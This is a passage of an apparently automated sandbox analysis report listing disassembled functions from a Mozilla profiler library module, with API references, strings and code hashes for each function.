Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
__Init_thread_footer.LIBCMT ref: 6C65949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C659459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C65947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C65946B

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 0a5517eb8acfed4df7ecbb08416b9bfea0897a2a580a95fb36bda50e5e7026fb
Instruction ID: 009cabdf82bf23d38951d15a30a6c98119de13160f54c79337ace94e65da2924
Opcode Fuzzy Hash: 0a5517eb8acfed4df7ecbb08416b9bfea0897a2a580a95fb36bda50e5e7026fb
Instruction Fuzzy Hash: 9601D8B0A0010397DB009F5ED951ACA337AAF0672CF254536ED06C6B42D632D8778A5F

Function 6C660F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C660F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C660F88
GetCurrentThreadId.KERNEL32 ref: 6C660FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C661067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6610A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C66114B

Part of subcall function 6C658AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C671563), ref: 6C658BD5

free.MOZGLUE(?), ref: 6C661174
free.MOZGLUE(?), ref: 6C661186

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: e48a6f2be988e348551c7635870b395f86a1c6d4b7687120af3f6a3462ed7f58
Instruction ID: 917a6607e0289dc4fa4e8a8e5e5deed24705b176fe40c5d3c37f032b3f5cf12a
Opcode Fuzzy Hash: e48a6f2be988e348551c7635870b395f86a1c6d4b7687120af3f6a3462ed7f58
Instruction Fuzzy Hash: 0A61C3756043459FDB10CF26C88079AB7F5BFC6308F04991DE98947B12EB31E959CB8A

Function 6C61B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B6AC

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C61B61E), ref: 6C61B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C61B61E,?,?,?,?,?,00000000), ref: 6C61B79A

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 10bba2388da3e7636cc3cfc3d0a1afe576c057c50685748cc75799f26d69f576
Instruction ID: a66fb36aa59d9b8700bbc7a3cb1bd53d1d929df3e86cb36ccc0665f01872828e
Opcode Fuzzy Hash: 10bba2388da3e7636cc3cfc3d0a1afe576c057c50685748cc75799f26d69f576
Instruction Fuzzy Hash: DF41E3F2D041159FCB10DF6CDC806AEB7B5FB95324F250629E825E7B80E731A9008BE9

Function 6C61EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C695104), ref: 6C61EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C61EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C61EFEC
free.MOZGLUE(?), ref: 6C61F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C61F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C61F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61F065
moz_xmalloc.MOZGLUE ref: 6C61F072

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 70aac81952efbec36932c141a1d7403657d2b18b555e97172b06a055de7b991a
Instruction ID: 76228f00a214caa2daca4ef214172bd0dc5afb422f1fa935d1660a2d48b46018
Opcode Fuzzy Hash: 70aac81952efbec36932c141a1d7403657d2b18b555e97172b06a055de7b991a
Instruction Fuzzy Hash: DF4129B1E041019FCB08CF6CD8909AE7365BF85314B24022CE916D7B94EB71E915C7E9

Function 6C68B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C68B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C68B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C68B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C68B5F4
__Init_thread_footer.LIBCMT ref: 6C68B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C68B61F
std::_Facet_Register.LIBCPMT ref: 6C68B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C68B655

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 284f1cba8b33b53a96d76febb281de22c18018a7160cf01e5ac8bcffa79f3580
Instruction ID: 34cd8a69c7a1094eb4cee9325d1a820fbff3133722f3befb0e40e5ae5164a1ad
Opcode Fuzzy Hash: 284f1cba8b33b53a96d76febb281de22c18018a7160cf01e5ac8bcffa79f3580
Instruction Fuzzy Hash: 94317271B00106CBCB109F6AC8949AEB7F5FBC6324F154519E90697790DB70A90ACFAE

Function 6C656590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C64FA80: GetCurrentThreadId.KERNEL32 ref: 6C64FA8D
Part of subcall function 6C64FA80: AcquireSRWLockExclusive.KERNEL32(6C69F448), ref: 6C64FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C656727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C6567C8

Part of subcall function 6C664290: memcpy.VCRUNTIME140(?,?,6C672003,6C670AD9,?,6C670AD9,00000000,?,6C670AD9,?,00000004,?,6C671A62,?,6C672003,?), ref: 6C6642C4

Strings

data, xrefs: 6C656593
vil, xrefs: 6C65696C

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vil
API String ID: 511789754-2730382510
Opcode ID: d12784fa15a5a528f19f83817c730f80e855b6fc829d0ca584cea48af695769a
Instruction ID: 209ca80837e79c61571bf0d36c610247eede1692c2ade8e0b03969b0e5576cd3
Opcode Fuzzy Hash: d12784fa15a5a528f19f83817c730f80e855b6fc829d0ca584cea48af695769a
Instruction Fuzzy Hash: 64D1D175A083418FD724CF25C850B9EB7E5AFC6308F60892DE489C7B51DB31E819CB6A

Function 6C64D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C61EB57,?,?,?,?,?,?,?,?,?), ref: 6C64D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C61EB57,?), ref: 6C64D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C61EB57,?), ref: 6C64D673
free.MOZGLUE(?), ref: 6C64D888

Strings

Wal, xrefs: 6C64D5D9, 6C64D63F
|Enabled, xrefs: 6C64D81E

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wal$|Enabled
API String ID: 4142949111-2367217381
Opcode ID: 50702d598b90d3f965964feb2d278f3979851af14cd63cff21ffda8bbe7ed606
Instruction ID: c54f3543af5e71ee353a23820f419e6cb73b5e3693c84e1e5e4de19f88859691
Opcode Fuzzy Hash: 50702d598b90d3f965964feb2d278f3979851af14cd63cff21ffda8bbe7ed606
Instruction Fuzzy Hash: ECA1E2B0E043059FDB01CF69C4906AEBBF1AF4A318F14C15CD889ABB41D735A945CBA9

Function 6C629830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C677ABE), ref: 6C62985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C677ABE), ref: 6C6298A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C629909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C629918
free.MOZGLUE(?), ref: 6C629975

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 1788dedb2c9bd3af8cae0118d63fa026d914a7a89695f2c44947b1e5746b1823
Instruction ID: 623b55e4de2059f10301cb3d8bd1f18c459dcdaf36f5617739bd1ed350ef194b
Opcode Fuzzy Hash: 1788dedb2c9bd3af8cae0118d63fa026d914a7a89695f2c44947b1e5746b1823
Instruction Fuzzy Hash: 00719A74A007058FC725CF28C480956B7F1FF8A328B284AADE85A8BB90D775F845CF95

Function 6C62B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C66CC83,?,?,?,?,?,?,?,?,?,6C66BCAE,?,?,6C65DC2C), ref: 6C62B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C66CC83,?,?,?,?,?,?,?,?,?,6C66BCAE,?,?,6C65DC2C), ref: 6C62B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C66CC83,?,?,?,?,?,?,?,?,?,6C66BCAE), ref: 6C62B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C66CC83,?,?,?,?,?,?,?,?,?,6C66BCAE,?,?,6C65DC2C), ref: 6C62B896

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 85c85bab1f344da106996fa564d6ca71f8c387996442bae240366c1bba3203bd
Instruction ID: 2e90b63fb1c57a1d79c89c6e7525c7662e11c3e9d9b2e3f1496f3fb234ed434c
Opcode Fuzzy Hash: 85c85bab1f344da106996fa564d6ca71f8c387996442bae240366c1bba3203bd
Instruction Fuzzy Hash: 75516B35B006008FCB25CF59C484A6AB7F5FF89318B59895DE99A87752C739E801CF88

Function 6C661D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C661D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C661BE3,?,?,6C661D96,00000000), ref: 6C661D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C661BE3,?,?,6C661D96,00000000), ref: 6C661D4C
GetCurrentThreadId.KERNEL32 ref: 6C661DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C661DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C661DDA

Part of subcall function 6C661EF0: GetCurrentThreadId.KERNEL32 ref: 6C661F03
Part of subcall function 6C661EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C661DF2,00000000,00000000), ref: 6C661F0C
Part of subcall function 6C661EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C661F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C661DF4

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 5913a71791f43410f96c52cf859ebda186b48dc3e9154b89c844e7afdf17f2f1
Instruction ID: 57885d5085d9cf9f53d58132f444fb751ca9c4abb37a995b49819cfc44aa7272
Opcode Fuzzy Hash: 5913a71791f43410f96c52cf859ebda186b48dc3e9154b89c844e7afdf17f2f1
Instruction Fuzzy Hash: EF417BB56007019FCB10DF2AC488A5ABBF9FF89354F10442EE95A87B41CB71F854CB99

Function 6C6584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6585AC

Part of subcall function 6C657670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C65767F
Part of subcall function 6C657670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C657693
Part of subcall function 6C657670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6585B2

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 950dbae0baa7af03815229a8ffd804406d5dec600c4f739c36586a57681f8614
Instruction ID: ee4e3d32a569d3726b034fca9e48b58a770bdb8f5ef0669812762b30d3a4650c
Opcode Fuzzy Hash: 950dbae0baa7af03815229a8ffd804406d5dec600c4f739c36586a57681f8614
Instruction Fuzzy Hash: 9421DE702006019FDB14DF2AC888A5AB7B5AF8830DF64482DE58BC3F41DB31F968CB59

Function 6C621640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C621699
VerSetConditionMask.NTDLL ref: 6C6216CB
VerSetConditionMask.NTDLL ref: 6C6216D7
VerSetConditionMask.NTDLL ref: 6C6216DE
VerSetConditionMask.NTDLL ref: 6C6216E5
VerSetConditionMask.NTDLL ref: 6C6216EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6216F9

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: aa2a6fe2946b0d14da9a62c379734c78c9e57cd43bca5ab56a2b88c88d8a2cc4
Instruction ID: d9fe2d78fdbe3e18dc99f0d9754da6f5515c66c8874d2e2c5cfa2057208a7c34
Opcode Fuzzy Hash: aa2a6fe2946b0d14da9a62c379734c78c9e57cd43bca5ab56a2b88c88d8a2cc4
Instruction Fuzzy Hash: 432102B07442096BEB106E658C85FFB737CEFC6704F044528F6059B1C0C6799D548AAA

Function 6C65F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C624A68), ref: 6C65945E
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C659470
Part of subcall function 6C659420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C659482
Part of subcall function 6C659420: __Init_thread_footer.LIBCMT ref: 6C65949F

GetCurrentThreadId.KERNEL32 ref: 6C65F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C65F598), ref: 6C65F621

Part of subcall function 6C6594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6594EE
Part of subcall function 6C6594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C659508

GetCurrentThreadId.KERNEL32 ref: 6C65F637
AcquireSRWLockExclusive.KERNEL32(6C69F4B8,?,?,00000000,?,6C65F598), ref: 6C65F645
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8,?,?,00000000,?,6C65F598), ref: 6C65F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C65F62A

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 59d3d9068de0856d81c8ced682a4248401c5bb44a4462d522a4dec153b058c27
Instruction ID: 02306bc6c2e0c838ba2518f508a520296c4289f5c18b0fdf083249cb215dde85
Opcode Fuzzy Hash: 59d3d9068de0856d81c8ced682a4248401c5bb44a4462d522a4dec153b058c27
Instruction Fuzzy Hash: 1B11AB75201206ABCB149F5AC5849E5777DFF8675CF600415FA0683F41CB71AC25CBAE

Function 6C622070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C64AB89: EnterCriticalSection.KERNEL32(6C69E370,?,?,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284), ref: 6C64AB94
Part of subcall function 6C64AB89: LeaveCriticalSection.KERNEL32(6C69E370,?,6C6134DE,6C69F6CC,?,?,?,?,?,?,?,6C613284,?,?,6C6356F6), ref: 6C64ABD1

LoadLibraryW.KERNEL32(combase.dll,6C621C5F), ref: 6C6220AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6220CD
__Init_thread_footer.LIBCMT ref: 6C6220E1
FreeLibrary.KERNEL32 ref: 6C622124

Strings

combase.dll, xrefs: 6C6220A9
CoInitializeSecurity, xrefs: 6C6220C7

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

